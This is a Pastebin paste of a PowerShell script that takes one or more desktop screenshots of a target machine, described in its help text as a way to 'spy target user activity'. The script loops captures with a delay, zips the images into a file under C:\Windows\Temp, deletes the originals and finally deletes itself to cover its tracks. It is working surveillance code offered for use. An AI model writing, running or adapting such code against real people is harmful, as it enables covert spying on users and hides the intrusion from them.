m1dw0rd

Untitled

Jun 12th, 2022
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <#
  2. .SYNOPSIS
  3.    Capture remote desktop screenshot(s)
  4.  
  5.    Author: r00t-3xp10it
  6.    Tested Under: Windows 10 (19043) x64 bits
  7.    Required Dependencies: System.Windows.Forms {native}
  8.    Optional Dependencies: none
  9.    PS cmdlet Dev version: v1.0.2
  10.  
  11. .DESCRIPTION
  12.    This module can be used to take only one screenshot
  13.    or to spy target user activity using -Delay parameter.
  14.  
  15. .NOTES
  16.    If sellected more than 3 captures ( screenshots ) Then cmdlet will
  17.    Compress (ZIP) all screenshots before delete them from %Tmp% directory.
  18.  
  19. .Parameter Screenshot
  20.    Accepts the number of captures to be taken (default: 1)
  21.  
  22. .Parameter Delay
  23.    Accepts the delay (seconds) between captures (default: 1)
  24.  
  25. .EXAMPLE
  26.    PS C:\> Get-Help .\Screenshot.ps1 -full
  27.    Access this cmdlet comment based help
  28.  
  29. .EXAMPLE
  30.    PS C:\> .\Screenshot.ps1 -Screenshot 1
  31.    Capture 1 desktop screenshot and store it on %TMP%.
  32.  
  33. .EXAMPLE
  34.    PS C:\> .\Screenshot.ps1 -Screenshot 5 -Delay 8
  35.    Capture 5 desktop screenshots with 8 secs delay between captures.
  36.  
  37. .OUTPUTS
  38.    ScreenCaptures Delay  Storage                          
  39.    -------------- -----  -------                          
  40.    1              1(sec) C:\Users\pedro\AppData\Local\Temp
  41. #>
  42.  
  43.  
  44. [CmdletBinding(PositionalBinding=$false)] param(
  45.     [int]$Screenshot='0',
  46.     [int]$Delay='1'
  47. )
  48.  
  49.  
  50. Write-Host ""
  51. If($Screenshot -gt 0)
  52. {
  53.    $Limmit = $Screenshot+1 ## The number of screenshots to be taken
  54.    If($Delay -lt '1' -or $Delay -gt '180'){$Delay = '1'} ## Screenshots delay time max\min value accepted
  55.  
  56.    ## Create Data Table for output
  57.    $mytable = New-Object System.Data.DataTable
  58.    $mytable.Columns.Add("ScreenCaptures")|Out-Null
  59.    $mytable.Columns.Add("Delay")|Out-Null
  60.    $mytable.Columns.Add("Storage")|Out-Null
  61.    $mytable.Rows.Add("$Screenshot",
  62.                      "$Delay(sec)",
  63.                      "$Env:TMP")|Out-Null
  64.  
  65.    ## Display Data Table
  66.    $mytable|Format-Table -AutoSize > $Env:TMP\MyTable.log
  67.    Get-Content -Path "$Env:TMP\MyTable.log"
  68.    Remove-Item -Path "$Env:TMP\MyTable.log" -Force
  69.  
  70.    If(-not(Test-Path "$Env:TMP"))
  71.    {
  72.       New-Item "$Env:TMP" -ItemType Directory -Force
  73.    }
  74.  
  75.    ## Loop Function to take more than one screenshot.
  76.    For($num = 1 ; $num -le $Screenshot ; $num++)
  77.    {
  78.       ## Random Screenshot FileName Generation
  79.       $Rand = -join (((48..57)+(65..90)+(97..122)) * 80 | Get-Random -Count 7 | %{[char]$_})
  80.       $Path = "$Env:TMP\SHot-$Rand.png"
  81.    
  82.       [Reflection.Assembly]::LoadWithPartialName("System.Drawing")|Out-Null
  83.       [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")|Out-Null
  84.  
  85.       If(-Not [Environment]::UserInteractive)
  86.       {
  87.          Write-Host "[-] WARNING process is not interactive your screen capture will likely fail!" -ForeGroundColor Red -BackGroundColor Black
  88.       }
  89.  
  90.       $bounds = [System.Windows.Forms.Screen]::AllScreens.Bounds
  91.       $bounds = [Drawing.Rectangle]::FromLTRB(0, 0,  $bounds.Width, $bounds.Height)
  92.       $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height
  93.       $graphics = [Drawing.Graphics]::FromImage($bmp)
  94.       $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
  95.           $bmp.Save($Path)
  96.           $graphics.Dispose()
  97.           $bmp.Dispose()
  98.  
  99.       echo "saved[$num]: $Path"
  100.       Start-Sleep -Seconds $Delay; ## 2 seconds delay between screenshots (default value)
  101.    }
  102.   Write-Host "";Start-Sleep -Seconds 1
  103. }
  104.  
  105.  
  106. If($Screenshot -gt 3)
  107. {
  108.  
  109.    <#
  110.    .SYNOPSIS
  111.       Author: @r00t-3xp10it
  112.       Helper - Compress (ZIP) all .png screenshots!
  113.  
  114.    .NOTES
  115.       If invoked -screenshot 'int' bigger than '3' then cmdlet
  116.       will compress all .png screenshot files before delete them
  117.       from remote %TMP% working directory leaving only the ZIP.
  118.    #>
  119.  
  120.    $RandMe = -join (((48..57)+(65..90)+(97..122)) * 80 | Get-Random -Count 4 | %{[char]$_})
  121.    Compress-Archive -Path "$Env:TMP\*.png" -DestinationPath "C:\Windows\Temp\jlsdf.zip" -Force
  122.    Remove-Item -Path "$Env:TMP\*.png" -EA SilentlyContinue -Force
  123. }
  124.  
  125. #Auto-Delete CmdLet in the end of execution..
  126. Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
Advertisement
Add Comment
Please, Sign In to add comment